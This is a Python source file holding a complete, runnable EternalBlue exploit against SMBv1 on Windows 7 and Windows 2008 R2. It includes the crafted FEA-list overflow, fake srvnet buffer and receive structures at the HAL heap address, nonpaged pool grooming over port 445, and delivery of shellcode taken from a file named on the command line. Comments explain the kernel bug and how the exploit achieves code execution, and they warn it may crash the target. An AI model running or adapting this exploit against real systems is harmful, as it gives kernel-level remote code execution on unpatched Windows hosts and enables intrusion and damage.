eternalblue.py

#!/usr/bin/python
from impacket import smb
from struct import pack
import os
import sys
import socket

'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)

Tested on:
- Windows 7 SP1 x64
- Windows 2008 R2 x64

Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/


Bug detail:
- For the bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- You can see SrvOs2FeaListToNt(), SrvOs2FeaListSizeToNt() and SrvOs2FeaToNt() functions logic from WinNT4 source code
https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/ea.c#L263
- In vulnerable SrvOs2FeaListSizeToNt() function, there is a important change from WinNT4 in for loop. The psuedo code is here.
if (nextFea > lastFeaStartLocation) {
// this code is for shrinking FeaList->cbList because last fea is invalid.
// FeaList->cbList is DWORD but it is cast to WORD.
*(WORD *)FeaList = (BYTE*)fea - (BYTE*)FeaList;
return size;
}
- Here is related struct info.
#####
typedef struct _FEA { /* fea */
BYTE fEA; /* flags */
BYTE cbName; /* name length not including NULL */
USHORT cbValue; /* value length */
} FEA, *PFEA;

typedef struct _FEALIST { /* feal */
DWORD cbList; /* total bytes of structure including full list */
FEA list[1]; /* variable length FEA structures */
} FEALIST, *PFEALIST;

typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
######


Exploit info:
- I do not reverse engineer any x86 binary so I do not know about exact offset.
- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.
This memory page is executable on Windows 7 and Wndows 2008.
- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.
- The exploit trick is same as NSA exploit
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.


srvnet buffer info:
- srvnet buffer contains a pointer to another struct and MDL about received buffer
- Controlling MDL values results in arbitrary write
- Controlling pointer to fake struct results in code execution because there is pointer to function
- A srvnet buffer is created after target receiving first 4 bytes
- First 4 bytes contains length of SMB message
- The possible srvnet buffer size is "..., 0x8???, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
- SrvNetCommonReceiveHandler() passes SMB message to SMB handler
- If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode
- If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
- Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
- Memory leak is ok to be ignored
'''

# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
# the size 0x11000 is used in nsa exploit. this size is more reliable.
NTFEA_SIZE = 0x11000
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page

ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde

ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc

ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec

ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }

'''
Reverse from srvnet.sys (Win7 x64)
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():

// for x64
struct SRVNET_BUFFER {
// offset from POOLHDR: 0x10
USHORT flag;
char pad[2];
char unknown0[12];
// offset from SRVNET_POOLHDR: 0x20
LIST_ENTRY list;
// offset from SRVNET_POOLHDR: 0x30
char *pnetBuffer;
DWORD netbufSize; // size of netBuffer
DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information
// offset from SRVNET_POOLHDR: 0x40
MDL *pMdl1; // at offset 0x70
DWORD nByteProcessed;
DWORD pad3;
// offset from SRVNET_POOLHDR: 0x50
DWORD nbssSize; // size of this smb packet (from user)
DWORD pad4;
QWORD pSrvNetWekStruct; // want to change to fake struct address
// offset from SRVNET_POOLHDR: 0x60
MDL *pMdl2;
QWORD unknown5;
// offset from SRVNET_POOLHDR: 0x70
// MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address)
// MDL mdl2;
// char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE
// char netBuffer[0];
};

struct SRVNET_POOLHDR {
DWORD size;
char unknown[12];
SRVNET_BUFFER hdr;
};
'''
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
# The value MUST point to valid (might be fake) struct.
# - offset 0x70 (MDL) : MDL for describe receiving SMB request buffer
# - 0x70 (VOID*) : MDL.Next should be NULL
# - 0x78 (USHORT) : MDL.Size should be some value that not too small
# - 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
# - 0x80 (VOID*) : MDL.Process should be NULL
# - 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
# 
#
# To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside)
# a corrupted buffer MUST not be reused.
# - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
# your shellcode as function argument
# - offset 0x60 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
# - set nByteProcessed for trigger free after return
# \x8b\x4a\x2c mov ecx, [rdx+0x2c]
# \x89\x4a\x38 mov [rdx+0x38], ecx

TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000

fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += '\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0xffffffff, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2
# below 0x20 bytes is overwritting MDL
# NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa

# below is for targeting x64 only (all x86 related values are set to 0)
# this is for show what fields need to be modified
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16 # 0x40
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa


fakeSrvNetBuffer = fakeSrvNetBufferNsa
#fakeSrvNetBuffer = fakeSrvNetBufferX64

feaList = pack('<I', 0x10000) # the max value of feaList size is 0x10000 (the only value that can trigger bug)
feaList += ntfea[NTFEA_SIZE]
# Note:
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
# - x64: below fea will be copy to offset 0x11000 of overflow buffer
# - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)


# fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00010
# offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL.
# offset 0x08: set to 3 (DWORD) for invoking ptr to function
# offset 0x1d0: KSPIN_LOCK
# offset 0x1d8: array of pointer to function
#
# code path to get code exection after this struct is controlled
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += ('\x00'*16)*7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
fake_recv_struct += ('\x00'*16)*11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)


def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)

def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid

transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()

transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)

conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
else:
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))


# do not know why Word Count can be 12
# if word count is not 12, setting ByteCount without enough data will be failed
class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters):
structure = (
('MaxBuffer','<H'),
('MaxMpxCount','<H'),
('VCNumber','<H'),
('SessionKey','<L'),
#('AnsiPwdLength','<H'),
('UnicodePwdLength','<H'),
('_reserved','<L=0'),
('Capabilities','<L'),
)

def createSessionAllocNonPaged(target, size):
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
# You can see the allocation logic (even code is not the same) in WinNT4 source code 
# https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
conn = smb.SMB(target, target)
_, flags2 = conn.get_flags()
# FLAGS2_EXTENDED_SECURITY MUST not be set
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)

pkt = smb.NewSMBPacket()

sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()

sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VCNumber'] = os.getpid()
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['AnsiPwdLength'] = 0
sessionSetup['Parameters']['UnicodePwdLength'] = 0
sessionSetup['Parameters']['Capabilities'] = 0x80000000

# set ByteCount here
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
pkt.addCommand(sessionSetup)

conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
else:
print('SMB1 session setup allocate nonpaged pool failed')
return conn


# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
)

def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid

# assume no params

transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()

transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)

fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''

transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0

if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0

transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement

transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)

conn.sendSMB(pkt)


def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid

command = pack('<H', setup)

transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()

transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)

fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0

transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0

transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)

conn.sendSMB(pkt)
conn.recvSMB() # must be success

i = firstDataFragmentSize
while i < len(data):
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize

if sendLastChunk:
conn.recvSMB()
return i


# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target
# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten)
def createConnectionWithBigSMBFirst80(target):
# https://msdn.microsoft.com/en-us/library/cc246496.aspx
# Above link is about SMB2, but the important here is first 4 bytes.
# If using wireshark, you will see the StreamProtocolLength is NBSS length.
# The first 4 bytes is same for all SMB version. It is used for determine the SMB message length.
#
# After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message.
# srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message.
# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
sk = socket.create_connection((target, 445))
# For this exploit, use size is 0x11000
pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xffSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
pkt += '\x00'*0x7c
sk.send(pkt)
return sk


def exploit(target, shellcode, numGroomConn):
# force using smb.SMB for SMB1
conn = smb.SMB(target, target)

# can use conn.login() for ntlmv2
conn.login_standard('', '')
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if not (server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 ")):
print('This exploit does not support this target')
sys.exit()


tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')

# Here is code path in WinNT4 (all reference files are relative path to https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/)
# - SrvSmbNtTransaction() (smbtrans.c#L2677)
# - When all data is received, call ExecuteTransaction() at (smbtrans.c#L3113)
# - ExecuteTransaction() (smbtrans.c#L82)
# - Call dispatch table (smbtrans.c#L347)
# - Dispatch table is defined at srvdata.c#L972 (target is command 0, SrvSmbOpen2() function)
# - SrvSmbOpen2() (smbopen.c#L1002)
# - call SrvOs2FeaListToNt() (smbopen.c#L1095)

# https://msdn.microsoft.com/en-us/library/ee441720.aspx
# Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command
# Note: cannot use SMB_COM_TRANSACTION2 for the exploit because the TotalDataCount field is USHORT
# Note: transaction max data count is 66512 (0x103d0) and DataDisplacement is USHORT
progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, 2000, False)
# we have to know what size of NtFeaList will be created when last fragment is sent

# make sure server recv all payload before starting allocate big NonPaged
#sendEcho(conn, tid, 'a'*12)

# create buffer size NTFEA_SIZE-0x1000 at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)

# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)

# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()

# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)

# send echo again, all new 5 srvnet buffers should be created
#sendEcho(conn, tid, 'a'*12)

# remove holeConn to create hole for fea buffer
holeConn.get_socket().close()

# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))


# one of srvnetConn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)

# execute shellcode by closing srvnet connection
for sk in srvnetConn:
sk.close()

# nicely close connection (no need for exploit)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()


if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)

TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])

fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()

print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))

exploit(TARGET, sc, numGroomConn)
print('done')